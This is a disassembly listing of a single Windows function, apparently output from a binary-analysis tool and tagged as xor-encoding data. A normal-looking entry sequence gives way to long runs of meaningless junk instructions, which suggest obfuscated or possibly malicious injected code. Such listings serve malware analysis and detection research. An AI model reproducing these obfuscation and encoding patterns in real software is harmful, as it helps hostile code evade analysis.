Function at 0x1001f51
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x10128ee
call fcn.01012650
sub esp, 0xf0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 0x31
pop ecx
xor eax, eax
xor ebx, ebx
mov word [ebp - 0xfc], bx
lea edi, [ebp - 0xfa]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.USER32.dll_GetProcessDefaultLayout]
test eax, eax
je 0x1001fa8
mov eax, dword [ebp - 0x18]
test al, 1
je 0x1001fa8
and eax, 0xfffffffe
push eax
call dword [sym.imp.USER32.dll_SetProcessDefaultLayout]
mov dword [0x1014da0], 1
push dword [ebp + 0x10]
call fcn.01001665
mov eax, dword [ebp + 8]
push dword [ebp + 0xc]
mov dword [0x1014a48], eax
call fcn.010017c7
test eax, eax
je 0x10020a8
push 0x800
push 0x40
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
cmp eax, ebx
mov dword [ebp + 0x10], eax
jne 0x1001fe3
push ebx
push ebx
jmp 0x1002061
and dword [ebp + 0xc], 0
mov edi, dword [sym.imp.KERNEL32.dll_LocalReAlloc]
mov esi, 0x400
cmp dword [ebp + 0xc], 0x54
jg 0x1002049
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x14], esi
sub dword [ebp - 0x14], ebx
push dword [ebp - 0x14]
lea eax, [eax + ebx*2]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
pushal
pushfd
mov edx, 0x958080
add ebx, esp
mov dword [0x1015070], edi
rol edx, 0x10
add esi, eax
and esi, edi
mov ecx, dword [0x1014712]
mov esi, 0xe146a10
shr esi, 0xe
shl edx, 0x14
xor eax, eax
mov edi, eax
rol esi, 7
mov eax, esp
mov eax, esp
xor esi, 0x209cd39c
call fcn.010127c2
add dword [eax], eax
mov edi, eax
sub edi, eax
mov edi, eax
mov ebx, esi
mov ecx, 0x5dae91
shr eax, 0x1a
not esi
xchg eax, edx
neg edx
ror esi, 0x19
mov dword [0x10150a9], ecx
call fcn.010127c2
shr esi, 0x19
rol esi, 0x19
xchg eax, edx
or esi, dword [0x10147fc]
loop 0x1002058
not ecx
rol ecx, 8
or esi, edi
inc eax
mov eax, 0xbf2ad21
sub edi, 0x1a4f0e0
and esi, edi
xchg edx, esi
and esi, edi
xor ebx, ecx
xor edx, 0xc6146ba
not esi
and esi, edi
xor eax, ecx
rol esi, 2
not eax
mov eax, eax
rol eax, 0xd
add dh, bh
ror byte [ebx + 0xdc0c1c0], 1
mov esi, 0xc3acae8
call fcn.010127c2
xor eax, 0x119f1930
add esi, esp
or edi, 0x255f870
mov ecx, esp
dec esi
xor eax, esi
or esi, edi
mov eax, eax
mov ecx, 0xb0219b
call fcn.010050f9
xchg esi, eax
neg esi
inc eax
add dword [0x10155f7], esi
dec esi
rol eax, 0x10
ror edi, 6
shr edi, 0x16
inc esi
rol edx, 0x13
loop 0x10020d6
or dword [0x101543a], edx
or esi, edi
xchg eax, eax
xor eax, edi
add esi, 0x479b83c
test eax, 0x8f57e9b
jb 0x100211e
or esi, edi
not edx
test esp, esi
jo 0x1002144
or esi, edi
mov ecx, 0xa4c5a4
add byte [eax + 0x40], cl
dec eax
inc eax
ror eax, 8
mov dword [0x1015442], 0x8eb3bee
inc esi
xchg edx, eax
shl ebx, 0xa
xor dword [0x10155b7], ebx
rol eax, 2
dec esi
loop 0x100211f
sub esi, eax
sub ecx, 0x233b306
test esp, esp
jo 0x1002161
push es
mov bl, 0x33
add al, byte [ebp - 0x74ea8f1c]
shr al, 1
outsd dx, dword [esi]
push es
add dword [eax], eax
mov edx, eax
call fcn.010127c2
shr esi, 0x11
add esi, ecx
inc esi
mov esi, eax
not esi
shl edx, 6
not ecx
ror esi, 0x16
rol ecx, 1
into
push ss
not ecx
or edx, eax
and eax, eax
add esi, 0x558c960
mov ecx, 0xbe6fe90
dec eax
sub esi, esi
xor ecx, edi
mov esi, eax
ror edi, 3
mov ebx, dword [0x10142bc]
add edi, eax
mov ecx, 0x4c60674
or esi, dword [0x1014331]
neg esi
add dword [0x1015078], esi
mov esi, eax
neg edi
add edi, eax
mov ecx, dword [0x1014424]
ror esi, 0x10
not esi
and esi, edi
not esi
xor edi, dword [0x1014719]
not esi
mov ecx, 0x3d67e0